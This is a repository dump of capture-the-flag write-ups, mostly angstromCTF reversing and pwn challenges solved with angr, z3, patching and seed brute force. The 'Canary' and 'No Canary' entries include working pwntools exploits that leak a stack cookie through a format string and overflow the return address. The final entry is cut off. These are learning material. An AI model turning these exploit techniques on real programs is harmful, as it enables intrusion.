### Description: 4 | 5 | ``` 6 | This is a super secure "Snake" game, but the rules are incredible. 7 | 8 | And the snake does not move correctly. 9 | ``` 10 | 11 | 12 | The binary is packed with VMprotect. Clearly the author did not want us to reverse this challenge :( 13 | 14 | ```sh 15 | ---- Ultimate snake game ---- 16 | *********** Rules *********** 17 | 1. You can use only WASD to control snake! 18 | 2. To win you need to get 362525097984 points! 19 | 3. The snake moves not standard! 20 | 4. Do not try to hack the game!!! 21 | Enter any character to start: 22 | 23 | ``` 24 | 25 | ```sh 26 | ############################## 27 | # # 28 | # # 29 | # # 30 | # # 31 | # P # 32 | # # 33 | # * # 34 | # * # 35 | # # 36 | # # 37 | # # 38 | # # 39 | # # 40 | # # 41 | # # 42 | # # 43 | # # 44 | # # 45 | ############################## 46 | Points: 1/362525097984 47 | Point_x: 7 Point_y: 5 48 | ``` 49 | 50 | We have to get 362525097984 points to win. 51 | 52 | ### Solution: 53 | 54 | We use **cheat engine** to change **362525097984** to **1** and get the flag :) 55 | 56 | ```sh 57 | Aero{68b05fb8a0a617c4771d76b7f0e6df63b4f728ef3966bf6a9a69f53c8d882eac} 58 | ``` 59 | 60 | -------------------------------------------------------------------------------- /angstromctf/misc/inputter/README.md: -------------------------------------------------------------------------------- 1 | # Inputter (320 solves) 2 | 3 | > Clam **really** likes challenging himself. When he learned about all these weird unprintable ASCII characters he just HAD to put it in a challenge. 4 | > 5 | > Can you satisfy his knack for strange and hard-to-input characters? Source. 6 | > 7 | > Find it on the shell server at `/problems/2020/inputter/`. 8 | > 9 | > Author: aplet123 10 | 11 | 12 | 13 | ```c++ 14 | #define _GNU_SOURCE 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #define FLAGSIZE 128 23 | 24 | void print_flag() { 25 | gid_t gid = getegid(); 26 | setresgid(gid, gid, gid); 27 | FILE *file = fopen("flag.txt", "r"); 28 | char flag[FLAGSIZE]; 29 | if (file == NULL) { 30 | printf("Cannot read flag file.\n"); 31 | exit(1); 32 | } 33 | fgets(flag, FLAGSIZE, file); 34 | printf("%s", flag); 35 | } 36 | 37 | int main(int argc, char* argv[]) { 38 | setvbuf(stdout, NULL, _IONBF, 0); 39 | if (argc != 2) { 40 | puts("Your argument count isn't right."); 41 | return 1; 42 | } 43 | if (strcmp(argv[1], " \n'\"\x07")) { 44 | puts("Your argument isn't right."); 45 | return 1; 46 | } 47 | char buf[128]; 48 | fgets(buf, 128, stdin); 49 | if (strcmp(buf, "\x00\x01\x02\x03\n")) { 50 | puts("Your input isn't right."); 51 | return 1; 52 | } 53 | puts("You seem to know what you're doing."); 54 | print_flag(); 55 | } 56 | ``` 57 | 58 | Solution: 59 | 60 | ```bash 61 | export EGG=`python -c 'print "\x20\x0a\x27\x22\x07"'` 62 | python -c "print '\x00\x01\x02\x03\n'" | ./inputter "$EGG" 63 | 64 | You seem to know what you're doing. 65 | actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions} 66 | ``` 67 | 68 | -------------------------------------------------------------------------------- /angstromctf/misc/ws3/README.md: -------------------------------------------------------------------------------- 1 | # ws3 (211 solves) 2 | 3 | > What the... record.pcapng 4 | > 5 | > Author: JoshDaBosh 6 | 7 | We can clearly see that some github transmission is going on. Looking at the packets we can notice packets starting with **PACK** magic bytes. This is a github commit archive. 8 | 9 | 10 | 11 | Solution: 12 | 13 | In wireshark -> File -> Export objects -> save all. 14 | 15 | ```bash 16 | binwalk -e * 17 | ``` 18 | 19 | 20 | 21 | Next, we use binwalk to extract every archive. The largest extracted file is png image. 22 | 23 | ![678](images/678.jpg) 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /angstromctf/misc/ws3/images/678.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/angstromctf/misc/ws3/images/678.jpg -------------------------------------------------------------------------------- /angstromctf/pwn/Canary/README.md: -------------------------------------------------------------------------------- 1 | # Canary (261 solves) 2 | 3 | Simple pwn challenge, requires leaking cookie with format sting vulnerability and overwriting ret address with buffer overflow. 4 | 5 | 6 | 7 | The binary contains **flag** function at **0x400798** which we have to call to get the flag. 8 | 9 | ```c++ 10 | int flag() 11 | { 12 | return system("/bin/cat flag.txt"); 13 | } 14 | ``` 15 | 16 | ```c++ 17 | void greet() 18 | { 19 | char format; 20 | char v1; 21 | unsigned long long v2; 22 | 23 | cookie = __readfsqword(0x28u); 24 | printf("Hi! What's your name? "); 25 | gets(&format); 26 | printf("Nice to meet you, "); 27 | strcat(&format, "!\n"); 28 | printf(&format); // leak cookie 29 | printf("Anything else you want to tell me? "); 30 | gets(&v1); // overwrite ret 31 | } 32 | ``` 33 | 34 | Solution: 35 | 36 | ```python 37 | from pwn import * 38 | import re 39 | 40 | def leak(r): 41 | payload = b'' 42 | payload += b'%17$llx' 43 | r.sendlineafter('name? ', payload) 44 | raw = r.recvuntil('Anything') 45 | cookie = re.findall('you, (.*)!\n', raw.decode())[0] 46 | return int(cookie, 16) 47 | 48 | if __name__ == "__main__": 49 | 50 | flag = 0x400787 51 | 52 | r = remote('shell.actf.co', 20701) 53 | c = leak(r) 54 | 55 | payload = b'' 56 | payload += b'A' * 56 # padding 57 | payload += p64(c) # cookie 58 | payload += b'B' * 8 # padding 59 | payload += p64(flag) # print flag 60 | 61 | r.sendlineafter('tell me?', payload) 62 | r.interactive() 63 | ``` 64 | 65 | ```bash 66 | $ python3 solve.py 67 | [+] Opening connection to shell.actf.co on port 20701: Done 68 | [*] Switching to interactive mode 69 | actf{youre_a_canary_killer_>:(} 70 | Segmentation fault 71 | ``` 72 | 73 | -------------------------------------------------------------------------------- /angstromctf/pwn/Canary/canary: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/angstromctf/pwn/Canary/canary -------------------------------------------------------------------------------- /angstromctf/pwn/No Canary/README.md: -------------------------------------------------------------------------------- 1 | # No Canary (470 solves) 2 | 3 | 4 | 5 | main: 6 | 7 | ```c++ 8 | int main(int argc, const char **argv, const char **envp) 9 | { 10 | char v4; 11 | __gid_t rgid; 12 | 13 | setvbuf(stdin, 0LL, 2, 0LL); 14 | setvbuf(_bss_start, 0LL, 2, 0LL); 15 | rgid = getegid(); 16 | setresgid(rgid, rgid, rgid); 17 | puts("Ahhhh, what a beautiful morning on the farm!\n"); 18 | puts(" _.-^-._ .--."); 19 | puts(" .-' _ '-. |__|"); 20 | puts(" / |_| \\| |"); 21 | puts(" / \\ |"); 22 | puts(" /| _____ |\\ |"); 23 | puts(" | |==|==| | |"); 24 | puts(" | |--|--| | |"); 25 | puts(" | |==|==| | |"); 26 | puts("^^^^^^^^^^^^^^^^^^^^^^^^\n"); 27 | puts("Wait, what? It's already noon!"); 28 | puts("Why didn't my canary wake me up?"); 29 | puts("Well, sorry if I kept you waiting."); 30 | printf("What's your name? "); 31 | gets(&v4); // vuln function 32 | printf("Nice to meet you, %s!\n", &v4); 33 | return 0; 34 | } 35 | ``` 36 | 37 | Solution: 38 | 39 | ```python 40 | from pwn import * 41 | 42 | r = remote('shell.actf.co', 20700) 43 | 44 | payload = b'' 45 | payload += b'A'*40 46 | payload += p64(0x401186) 47 | r.sendafter('name? ', payload) 48 | r.interactive() 49 | ``` 50 | 51 | ```bash 52 | $ ls 53 | Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x11! 54 | actf{that_gosh_darn_canary_got_me_pwned!} 55 | Segmentation fault 56 | ``` 57 | 58 | -------------------------------------------------------------------------------- /angstromctf/pwn/No Canary/no_canary: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/angstromctf/pwn/No Canary/no_canary -------------------------------------------------------------------------------- /angstromctf/rev/A Happy Family/README.md: -------------------------------------------------------------------------------- 1 | # A Happy Family (74 solves) 2 | 3 | > Clam became a parent and had a child. Or at least he dreamed about it. Anyway, clam wrote a program to describe his dream. In fact, he's so happy that he provided source! 4 | > 5 | > Find it on the shell server at `/problems/2020/a_happy_family`. 6 | > 7 | > The sha256 hash (no newline) of the correct input is `aa15a7b191ffa943fa602f7472ef294c6b5d138a629ac2bb75cb6ac57bfc3257`. 8 | > 9 | > Author: aplet123 10 | 11 | 12 | 13 | 14 | 15 | Solution: 16 | 17 | First, find all possible n1, n2, n3, n4 (check **find_all_possible** function) 18 | 19 | Next, apply reverse math on them and convert back to string. 20 | 21 | Copy those strings that have all printable characters in them. 22 | 23 | In the end, we have 1 in n1, n2, n3 and 4 in n4 24 | 25 | ```python 26 | from itertools import zip_longest, product 27 | import sys 28 | from struct import * 29 | import string 30 | 31 | 32 | alphabet = "angstromctf20" 33 | alphabet_st = "0123456789ABC" 34 | 35 | flags = { 36 | 'c1' : 'artomtf2srn00tgm2f', 37 | 'c2' : 'ng0fa0mat0tmmmra0c', 38 | 'c3' : 'ngnrmcornttnsmgcgr', 39 | 'c4' : 'a0fn2rfa00tcgctaot' 40 | } 41 | 42 | 43 | def find_all_possible(inp): 44 | th_nums = [[alphabet_st[i] for i, y in enumerate(alphabet) if y == x] for x in inp] 45 | variants = [''.join(x) for x in product(*th_nums) ] 46 | nums = [int(x, 13) for x in variants] 47 | return nums 48 | 49 | def main(): 50 | n1 = pack('Clam was trying to make a neural network to automatically do reverse engineering for him, but he made a typo and the neural net ended up making a reverse engineering challenge instead of solving one! Can you get the flag? 4 | > 5 | >Find it on the shell server at /problems/2020/autorev_assemble/ or over tcp at nc shell.actf.co 20203. 6 | > 7 | >Author: aplet123 8 | 9 | 10 | 11 | The main function looks obfuscated... 12 | 13 | ```c++ 14 | int __cdecl main(int argc, const char **argv, const char **envp) 15 | { 16 | puts("PROBLEM CREATION MODE: ON"); 17 | puts("VISUAL BASIC GUI: ON"); 18 | puts("HACKERMAN: ON"); 19 | puts("HOTEL: TRIVAGO"); 20 | puts("INPUT: ?"); 21 | fgets(z, 256, stdin); 22 | if ( f992(z) 23 | && f268(z) 24 | && f723(z) 25 | && f611(z) 26 | && f985(z) 27 | && f45(z) 28 | && f189(z) 29 | ... 30 | ... // bunch of calls... 31 | ... 32 | && f915(z) ) 33 | { 34 | puts("CHALLENGE: SOLVED"); 35 | } 36 | else 37 | { 38 | puts("YOUR SKILL: INSUFFICIENT"); 39 | } 40 | return 0; 41 | } 42 | ``` 43 | 44 | 45 | 46 | Solution: 47 | 48 | We use angr to automatically solve challenge for us :) 49 | 50 | ```python 51 | import angr 52 | import claripy 53 | import sys 54 | 55 | 56 | def main(): 57 | proj = angr.Project('autorev_assemble') 58 | 59 | state = proj.factory.entry_state() 60 | 61 | simgr = proj.factory.simgr(state) 62 | 63 | simgr.explore( 64 | find=0x408953, 65 | avoid=0x408961 66 | ) 67 | 68 | print(simgr) 69 | 70 | if simgr.found: 71 | f = simgr.found[-1] 72 | print(f.posix.dumps(0)) 73 | 74 | if __name__ == "__main__": 75 | sys.exit(main()) 76 | ``` 77 | 78 | ```bash 79 | $ python3 solve.py 80 | b'Blockchain big data solutions now with added machine learning. Enjoy! I sincerely hope you actf{wr0t3_4_pr0gr4m_t0_h3lp_y0u_w1th_th1s_df93171eb49e21a3a436e186bc68a5b2d8ed} instead of doing it by hand.' 81 | ``` 82 | 83 | -------------------------------------------------------------------------------- /angstromctf/rev/Autorev, Assemble!/autorev_assemble: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/angstromctf/rev/Autorev, Assemble!/autorev_assemble -------------------------------------------------------------------------------- /angstromctf/rev/Califrobnication/README.md: -------------------------------------------------------------------------------- 1 | # Califrobnication (83 solves) 2 | 3 | > It's the edge of the world and all of western civilization. 4 | > 5 | > The sun may rise in the East at least it's settled in a final location. It's understood that Hollywood sells Califrobnication. 6 | > 7 | > You get source for this one. Find the flag at /problems/2020/califrobnication on the shell server. 8 | > 9 | > Author: kmh11 10 | 11 | In this challenge we have to find flag based on anagram from strfry function. 12 | 13 | Since we know current time and pid of process, we can reverse strfry and get original message. 14 | 15 | 16 | 17 | Source: 18 | 19 | ```c++ 20 | #include 21 | #include 22 | 23 | int main() { 24 | FILE *f; 25 | char flag[50]; 26 | f = fopen("flag.txt", "r"); 27 | fread(flag, 50, 1, f); 28 | strtok(flag, "\n"); 29 | memfrob(&flag, strlen(flag)); 30 | strfry(&flag); 31 | printf("Here's your encrypted flag: %s\n", &flag); 32 | } 33 | ``` 34 | 35 | > The **memfrob**() function encrypts the first *n* bytes of the memory area *s* by exclusive-ORing each character with the number 42. The effect can be reversed by using **memfrob**() on the encrypted memory area. 36 | 37 | > The **strfry**() function randomizes the contents of *string* by using **rand** to randomly swap characters in the string. The result is an anagram of *string*. 38 | 39 | 40 | 41 | strfry source code: 42 | 43 | ```c++ 44 | #include 45 | #include 46 | #include 47 | #include 48 | char * 49 | strfry (char *string) 50 | { 51 | static int init; 52 | static struct random_data rdata; 53 | if (!init) 54 | { 55 | static char state[32]; 56 | rdata.state = NULL; 57 | __initstate_r (time ((time_t *) NULL) ^ getpid (), 58 | state, sizeof (state), &rdata); 59 | init = 1; 60 | } 61 | size_t len = strlen (string); 62 | if (len > 0) 63 | for (size_t i = 0; i < len - 1; ++i) 64 | { 65 | int32_t j; 66 | __random_r (&rdata, &j); 67 | j = j % (len - i) + i; 68 | char c = string[i]; 69 | string[i] = string[j]; 70 | string[j] = c; 71 | } 72 | return string; 73 | } 74 | ``` 75 | 76 | 77 | 78 | And here is where we can cheat: 79 | 80 | ``` 81 | __initstate_r (time ((time_t *) NULL) ^ getpid (), state, sizeof (state), &rdata); 82 | ``` 83 | 84 | The seed, that passed to **__random_r** is based on **current time** xor **pid**. 85 | 86 | Solution: 87 | 88 | Since we can determine current time and average pid number range, we can find right **rand** sequence that was generated by the program. 89 | 90 | 91 | 92 | ```c++ 93 | #include 94 | #include 95 | #include 96 | #include 97 | #include 98 | #include 99 | 100 | // out initial values 101 | const int32_t finish_time = 1584522034; 102 | const int32_t start_time = 1584522000; 103 | const int32_t startpid = 2100; 104 | const int32_t finishpid = 2200; 105 | const char flag[] = "9dcm0doda2er_aic46aa5fftb1lc_84nfcn1rf{_5otoi}ia"; 106 | 107 | // reversed strfry 108 | char *strfry_rev(char *string, const int *seq) { 109 | size_t len = strlen(string); 110 | 111 | for (size_t i = len - 2; i >= 0; i--) { 112 | char c = string[i]; 113 | string[i] = string[seq[i]]; 114 | string[seq[i]] = c; 115 | } 116 | return string; 117 | } 118 | 119 | 120 | void brute() { 121 | for (int32_t t = start_time; t <= finish_time; t++) { 122 | for (int32_t pid = startpid; pid <= finishpid; pid++) { 123 | printf("trying %d %d: ", t, pid); 124 | 125 | int seq[50] = { 0 }; 126 | char placeholder[50] = { 0 }; 127 | 128 | // taken from strfry.c source 129 | static struct random_data rdata; 130 | static char state[32]; 131 | rdata.state = NULL; 132 | 133 | // generate seq of random ints based on seed 134 | initstate_r (t ^ pid, state, sizeof (state), &rdata); 135 | // len(flag) == 48 136 | int len = 48; 137 | for (int i = 0; i < len - 1; i++) { 138 | int32_t j; 139 | random_r (&rdata, &j); 140 | j = j % (len - i) + i; 141 | seq[i] = j; 142 | } 143 | 144 | // reverse strfry 145 | strcpy(placeholder, flag); 146 | strfry_rev(placeholder, seq); 147 | printf("%s\n", placeholder); 148 | } 149 | 150 | } 151 | } 152 | 153 | int main(int argc, char const *argv[]) 154 | { 155 | brute(); 156 | return 0; 157 | } 158 | ``` 159 | 160 | ```bash 161 | $ ./a.out | grep actf 162 | trying 1584522016 2101: actf{dream_of_califrobnication_1f6d458091cad254} 163 | trying 1584522017 2100: actf{dream_of_califrobnication_1f6d458091cad254} 164 | trying 1584522018 2103: actf{dream_of_califrobnication_1f6d458091cad254} 165 | trying 1584522019 2102: actf{dream_of_califrobnication_1f6d458091cad254} 166 | trying 1584522024 2109: actf{dream_of_califrobnication_1f6d458091cad254} 167 | trying 1584522025 2108: actf{dream_of_califrobnication_1f6d458091cad254} 168 | trying 1584522026 2111: actf{dream_of_califrobnication_1f6d458091cad254} 169 | trying 1584522027 2110: actf{dream_of_califrobnication_1f6d458091cad254} 170 | trying 1584522028 2105: actf{dream_of_califrobnication_1f6d458091cad254} 171 | trying 1584522029 2104: actf{dream_of_califrobnication_1f6d458091cad254} 172 | trying 1584522030 2107: actf{dream_of_califrobnication_1f6d458091cad254} 173 | trying 1584522031 2106: actf{dream_of_califrobnication_1f6d458091cad254} 174 | ``` 175 | 176 | -------------------------------------------------------------------------------- /angstromctf/rev/Califrobnication/califrobnication: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/angstromctf/rev/Califrobnication/califrobnication -------------------------------------------------------------------------------- /angstromctf/rev/Just Rust/README.md: -------------------------------------------------------------------------------- 1 | # Just Rust (41 solves) 2 | 3 | > Clam really enjoys writing in C, but he realizes that he'll have to learn another language eventually. After all, he's grown pretty rusty after only programming in C for a year. So, he decided to write a program to create some ASCII art from user input. He also provided a sample output! 4 | > 5 | > Author: aplet123 6 | 7 | *output.txt*: 8 | 9 | ``` 10 | What do you want to encode? 11 | [REDACTED] 12 | CCHJEHMK 13 | CFKJCEOL 14 | FOJLMOJJ 15 | BDN@H@BA 16 | ODMJHFCJ 17 | MOOKMOOO 18 | OOAOFOGI 19 | @@@@@@@@ 20 | ``` 21 | 22 | The binary is written in rust but has very simple encoding algorithm. 23 | 24 | Our job is to find initial input. 25 | 26 | The encoding algorithm: 27 | 28 | ```python 29 | def algo(inp): 30 | out = [0x40 for i in range(72)] 31 | 32 | for i in range(len(inp)): 33 | t = i 34 | x = i >> 3 35 | for j in range(8): 36 | out[8 * j + (t & 7)] |= ((1 << (j & 7)) & inp[i]) >> (j & 7) << (x & 7) 37 | t += 1 38 | print(''.join(map(chr, out))) 39 | ``` 40 | 41 | Solution: 42 | 43 | ```python 44 | from z3 import * 45 | import sys 46 | 47 | def find_all_possible(s): 48 | while s.check() == sat: 49 | model = s.model() 50 | block = [] 51 | out = '' 52 | for i in range(32): 53 | c = globals()['b%i' % i] 54 | out += chr(model[c].as_long()) 55 | block.append(c != model[c]) 56 | s.add(Or(block)) 57 | print(out) 58 | 59 | def main(): 60 | flag = "CCHJEHMKCFKJCEOLFOJLMOJJBDN@H@BAODMJHFCJMOOKMOOOOOAOFOGI@@@@@@@@" 61 | s = Solver() 62 | out = [0x40 for i in range(72)] 63 | for i in range(32): 64 | globals()['b%d' % i] = BitVec('b%d' % i, 8) 65 | t = i 66 | x = i >> 3 67 | for j in range(8): 68 | out[8 * j + (t & 7)] |= ((1 << (j & 7)) & globals()['b%d' % i]) >> (j & 7) << (x & 7) 69 | t += 1 70 | 71 | s.add(globals()['b0'] == ord('a')) 72 | s.add(globals()['b1'] == ord('c')) 73 | s.add(globals()['b2'] == ord('t')) 74 | s.add(globals()['b3'] == ord('f')) 75 | s.add(globals()['b4'] == ord('{')) 76 | 77 | for i in range(64): 78 | s.add(out[i] == ord(flag[i])) 79 | 80 | find_all_possible(s) 81 | 82 | 83 | if __name__ == "__main__": 84 | sys.exit(main()) 85 | ``` 86 | 87 | yields the flag 88 | 89 | ```bash 90 | actf{b1gg3r_4nd_b4dd3r_l4ngu4g3} 91 | ``` 92 | 93 | -------------------------------------------------------------------------------- /angstromctf/rev/Just Rust/just_rust.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/angstromctf/rev/Just Rust/just_rust.rar -------------------------------------------------------------------------------- /angstromctf/rev/Masochistic Sudoku/images/board.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/angstromctf/rev/Masochistic Sudoku/images/board.png -------------------------------------------------------------------------------- /angstromctf/rev/Masochistic Sudoku/masochistic_sudoku: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/angstromctf/rev/Masochistic Sudoku/masochistic_sudoku -------------------------------------------------------------------------------- /angstromctf/rev/Patcherman/README.md: -------------------------------------------------------------------------------- 1 | # Patcherman (207 solves) 2 | 3 | > Oh no! We were gonna make this an easy challenge where you just had to run the binary and it gave you the flag, but then clam came along under the name of "The Patcherman" and edited the binary! I think he also touched some bytes in the header to throw off disassemblers. 4 | > 5 | > Can you still retrieve the flag? 6 | > 7 | > Alternatively, find it on the shell server at `/problems/2020/patcherman/`. 8 | > 9 | > Author: aplet123 10 | 11 | Solution: 12 | 13 | patching 0x601050 to 0x1337beef and patching instruction at 0x400763 to **cmp eax, 0** yields the flag: 14 | 15 | ``` 16 | Here have a flag: 17 | actf{p4tch3rm4n_15_n0_m0r3} 18 | ``` 19 | 20 | -------------------------------------------------------------------------------- /angstromctf/rev/Patcherman/patcherman: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/angstromctf/rev/Patcherman/patcherman -------------------------------------------------------------------------------- /angstromctf/rev/Revving Up/README.md: -------------------------------------------------------------------------------- 1 | # Revving up (798 solves) 2 | 3 | > Clam wrote a program for his school's cybersecurity club's first rev lecture! 4 | > 5 | > Can you get it to give you the flag? 6 | > 7 | > You can find it at `/problems/2020/revving_up` on the shell server, which you can access via the "shell" link at the top of the site. 8 | > 9 | > Author: aplet123 10 | 11 | ```c++ 12 | int __cdecl main(int argc, const char argv, const char envp) 13 | { 14 | int result; eax 15 | char v4; [rsp+18h] [rbp-98h] 16 | char s; [rsp+20h] [rbp-90h] 17 | unsigned __int64 v6; [rsp+A8h] [rbp-8h] 18 | 19 | v6 = __readfsqword(0x28u); 20 | puts("Congratulations on running the binary!"); 21 | puts("Now there are a few more things to tend to."); 22 | puts("Please type give flag (without the quotes)."); 23 | fgets(&s, 128, stdin); 24 | v4 = strchr(&s, 10); 25 | if ( v4 ) 26 | v4 = 0; 27 | if ( !strcmp(&s, "give flag") ) 28 | { 29 | puts("Good job!"); 30 | if ( argc 1 ) 31 | { 32 | if ( !strcmp(argv[1], "banana") ) 33 | { 34 | puts("ell I think it's about time you got the flag!"); 35 | print_flag(); 36 | result = 0; 37 | } 38 | else 39 | { 40 | printf("You provided %s, not banana. Please try again\n", argv[1]); 41 | result = 1; 42 | } 43 | } 44 | else 45 | { 46 | puts("Now run the program with a command line argument of banana and you'll be done!"); 47 | result = 1; 48 | } 49 | } 50 | else 51 | { 52 | printf("You entered %s, not give flag. Please try again\n", &s); 53 | result = 1; 54 | } 55 | return result; 56 | } 57 | ``` 58 | 59 | 60 | 61 | Solution: 62 | 63 | calling binary with "banana" and telling it "give flag" yields flag 64 | 65 | ``` 66 | actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh} 67 | ``` 68 | 69 | -------------------------------------------------------------------------------- /angstromctf/rev/Revving Up/revving_up: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/angstromctf/rev/Revving Up/revving_up -------------------------------------------------------------------------------- /angstromctf/rev/Signal of Hope/README.md: -------------------------------------------------------------------------------- 1 | # Signal of Hope (42 solves) 2 | 3 | > Find it on the shell server at /problems/2020/signal_of_hope/ or over tcp at nc shell.actf.co 20202. 4 | > 5 | > Author: aplet123 6 | 7 | hint: GDB does some special things to signals that can trip you up. 8 | 9 | In this task we have to deal with virtual machine based on signals. Signal handler executes specified function based on signal code. 10 | 11 | main: 12 | 13 | ```c++ 14 | void main() 15 | { 16 | int *v3; 17 | __gid_t v4; 18 | 19 | v3 = signal_codes; 20 | setvbuf(stdout, 0LL, 2, 0LL); 21 | v4 = getegid(); 22 | setresgid(v4, v4, v4); 23 | new.it_value.tv_sec = 0LL; 24 | new.it_value.tv_usec = 1000LL; 25 | new.it_interval.tv_sec = 0LL; 26 | new.it_interval.tv_usec = 1000LL; 27 | puts("It's a rainy night and you're lost in the forest."); 28 | puts("Your house is nowhere to be seen and you're quite discouraged."); 29 | puts("But alas, in the distance, a fading beacon!"); 30 | puts("You fill with hope, but it'll soon weaken."); 31 | puts("But can you make it before you collapse?"); 32 | puts("Through thick and thin, and past the traps."); 33 | while ( signal(*v3, handler) != 1 ) 34 | { 35 | ++v3; 36 | if ( v3 == &signal_codes[7] ) 37 | { 38 | setitimer(ITIMER_REAL, &new, 0LL); 39 | while ( 1 ) 40 | _IO_getc(stdin); 41 | } 42 | } 43 | puts("Something feels off, you can't go longer."); 44 | puts("A bear emerges, and he is stronger."); 45 | exit(1); 46 | } 47 | ``` 48 | 49 | We have 7 signal codes and 7 functions related to them: 50 | 51 | | Signal codes | Function | Description | opcodes | 52 | | :---------------------------: | :--------------: | :----------------------: | :--------------------: | 53 | | IOT Trap | print_flag | prints flag :) | | 54 | | Alarm clock | signal generator | generates next signal | 0x69, 0x1b, 0x76, 0x4f | 55 | | Illegal instruction | inc_i | adds var1 to i | 0x86, 0x87, 0x8e | 56 | | Floating point exception | get_input_i | gets input[i] | 0x77, 0x6a | 57 | | Invalid memory segment access | get_input | gets input (called once) | 0x62 | 58 | | Trace trap | get_bytecode | sets var2 = opcode | 0xCC | 59 | | Terminal interrupt | vm | process opcode | 0xF0 - 0xFD | 60 | 61 | Before we continue, because of trace trap (int 3), we could not debug properly. So I changed Trace trap to 15 (SIGTERM). I also patched **signal generator** function to call **raise** with code 15 when it finds 0xCC opcode. 62 | 63 | After that, everything went smooth :) 64 | 65 | 66 | 67 | The signal handler looks like this: 68 | 69 | ```c++ 70 | void handler(int code) 71 | { 72 | int v1 = 0, i; 73 | 74 | while ( 1 ) 75 | { 76 | i = v1; 77 | if (code == signal_codes[v1] ) 78 | break; 79 | if ( ++v1 == 7 ) 80 | { 81 | i = -1LL; 82 | break; 83 | } 84 | } 85 | handlers[i](); 86 | } 87 | ``` 88 | 89 | vm function: 90 | 91 | ```c++ 92 | void vm() 93 | { 94 | __int64 v0; 95 | __int64 v1; 96 | char v2; 97 | 98 | switch ( opcode ) 99 | { 100 | case 0xF0u: 101 | var1 = input[i] - input_byte; 102 | break; 103 | case 0xF1u: 104 | var1 += var2; 105 | break; 106 | case 0xF2u: 107 | var1 -= var2; 108 | break; 109 | case 0xF3u: 110 | var1 *= var2; 111 | break; 112 | case 0xF4u: 113 | var1 ^= var2; 114 | break; 115 | case 0xF5u: 116 | var2 = var1; 117 | break; 118 | case 0xF6u: 119 | var1 = var2; 120 | break; 121 | case 0xF7u: 122 | v1 = j++; 123 | buffer[v1] = var1; 124 | break; 125 | case 0xF8u: 126 | var1 = buffer[--j]; 127 | break; 128 | case 0xF9u: 129 | if ( var1 != var2 ) 130 | { 131 | puts("The trap is not approving of your trip."); 132 | puts("It blocks your passage with its whip."); 133 | exit(1); 134 | } 135 | return; 136 | case 0xFAu: 137 | var1 = input[i]; 138 | break; 139 | case 0xFBu: 140 | v2 = var2; 141 | var2 = var1; 142 | var1 = v2; 143 | break; 144 | case 0xFCu: 145 | v0 = k++; 146 | byte_602280[v0] = var1; 147 | break; 148 | case 0xFDu: 149 | var1 = byte_602280[--k]; 150 | break; 151 | default: 152 | puts("The trap shorts out and sparks like crazy."); 153 | puts("But a spark hits you and you become hazy."); 154 | exit(1); 155 | return; 156 | } 157 | } 158 | ``` 159 | 160 | 161 | 162 | Solution: 163 | 164 | Since bytecode is small and linear (no conditional jumps). We can easily trace it. 165 | 166 | I know that flag length has to be 10, it is easily found by reversing **get_input** function. 167 | 168 | I did set bp on every handler, and watched what happens to my input. 169 | 170 | First, the program checks: 171 | 172 | > **key[0] + key[4] + key[4 + key[4]] == 6** 173 | 174 | after that, it checks: 175 | 176 | > **key[0] * key[4] * key[4 + key[4]] == 6** 177 | 178 | and in the end: 179 | 180 | > **key[(4 + key[4] + 0xfb) & 0xff] == 0x1b** 181 | 182 | After reversing, I wrote simple keygen :) 183 | 184 | ```python 185 | from z3 import * 186 | 187 | 188 | def find_all_possible(s, key): 189 | while s.check() == sat: 190 | model = s.model() 191 | block = [] 192 | out = '' 193 | for i in range(10): 194 | c = key[i] 195 | out += chr(model[c].as_long()) 196 | block.append(c != model[c]) 197 | s.add(Or(block)) 198 | print(out) 199 | 200 | def main(): 201 | s = Solver() 202 | key = list() 203 | 204 | for i in range(10): 205 | key.append(BitVec('b%d' % i, 8)) 206 | s.add(key[i] > 32, key[i] < 127) 207 | c0 = key[0] - 0x46 208 | c1 = key[1] - 0x46 209 | c4 = key[4] - 0x46 210 | c6 = key[6] - 0x46 211 | s.add(c4 == 2) 212 | s.add(c6 + c4 + c0 == 6) 213 | s.add(c6 * c4 * c0 == 6) 214 | s.add(c1 == 0x1b) 215 | 216 | find_all_possible(s, key) 217 | 218 | 219 | if __name__ == "__main__": 220 | sys.exit(main()) 221 | ``` 222 | 223 | Giving **Ga&SHhIH4Q** to the program yields the flag: 224 | 225 | ``` 226 | actf{h0p3_c4nn0t_m3nd_th3_p41n_th4t_y0uv3_c4us3d_m3} 227 | ``` 228 | 229 | -------------------------------------------------------------------------------- /angstromctf/rev/Signal of Hope/signal_of_hope: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/archercreat/CTF-Writeups/829c35b38fe7c2ff2466bde49dec511577684d3d/angstromctf/rev/Signal of Hope/signal_of_hope -------------------------------------------------------------------------------- /angstromctf/rev/Taking Off/README.md: -------------------------------------------------------------------------------- 1 | # Taking Off (433 solves) 2 | 3 | > So you started revving up, but is it enough to take off? Find the problem in `/problems/2020/taking_off/` in the shell server. 4 | > 5 | 